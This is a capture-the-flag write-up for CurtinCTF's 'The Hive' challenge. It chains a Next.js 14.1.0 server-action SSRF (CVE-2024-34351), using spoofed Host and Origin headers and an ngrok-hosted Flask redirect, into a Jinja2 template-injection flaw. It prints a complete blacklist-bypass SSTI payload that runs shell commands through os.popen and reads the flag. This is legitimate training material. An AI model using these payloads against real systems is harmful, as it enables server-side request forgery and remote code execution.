The Hive CurtinCTF
This challenge is black-box. Technically, you can obtain the source code, but it costs 500 points. Hell naw.
Next.js Discovery
At first I’ve noticed that the website is running on Next.js

My first guess was it might be vulnerable to one of the famous CVE by zhero, however I was completely wrong.
So I try to find out what version of Next.js its currently running to figure out if there is vulnerability related to it.
After digging for quite some time. One of the chunk files of the Next.js shows that it is currently running on version 14.1.0 which is vulnerable to this CVE-2024-34351.

So, we have already find out that the server potentially vulnerable to SSRF but, where can we trigger it?
SSRF

If you click on one of the pastes available on the website it send a POST request to the main endpoint like so.

“What is interesting is that instead of returning the redirect directly to the client, if the redirect starts with / (for example, a redirect to /login) the server will fetch the result of the redirect server side, then return it back to the client. However, looking closely, we see that the Host header is taken from the client”
Apparently to replicate the SSRF attack all you need to do is call a server action, by passing the Next-Action header and modify the Origin and Host header to your webhook.

I’m not sure why but I’ve tried to host my webhook using tunnelmole, burp collaborator, and even webhook.site. Unfortunately none of them managed to intercept the request made by the server. Finally I’ve decided to use ngrok and luckily it works.

So now we can try to find out the internal services that is running on the server by modifying our payload to make the server redirect to the internal services. I first try to make it redirect to google.com to find out if it works.
1 | from flask import Flask, Response, request, redirect |

Now I try to make it redirect to http://127.0.0.1:1337 to find out the internal services that is running. Somehow encountered a login page that looks weird.
1 |
|
Apart from the /login endpoint we can use the /register endpoint to create a new user.
1 |
|
We can create a new user using this payload
1 | from flask import Flask, Response, request, redirect |
After creating a user this is what we got. Which means we are able to login now.

Here need to fuzz the path, found out that /home can be accessed with token parameters that we have gained earlier. Like so localhost:3000/home?token= b396c8ed80ca22776e0df73d4f08368d
SSTI

1 | <form action="/home" method="get" class="mt-4"> |
This right here it has some kind of directory scanning features, however, the directory parameter is actually vulnerable to SSTI, its just that you need to bypass the blacklist function.
1 | invalid_chars = ["{{", "}}", ".", "_", "[", "]","\\", "x"] |
These blacklist function are still vulnerable because you can still bypass this with a couple of tricks from these 2 references payloadallthethings or 0day.work . Final crafted payload was this.
1 | {%with output=((((request|attr('application'))|attr(request|attr("args")|attr("get")('globals')))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('builtins'))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('import'))('os')|attr('popen')(request|attr("args")|attr("get")('cmd'))|attr('read')()%}{%print(output)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=id |

Now all you need to do is find and read the flag :D
1 | {%with output=((((request|attr('application'))|attr(request|attr("args")|attr("get")('globals')))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('builtins'))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('import'))('os')|attr('popen')(request|attr("args")|attr("get")('cmd'))|attr('read')()%}{%print(output)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=cat+/fla* |
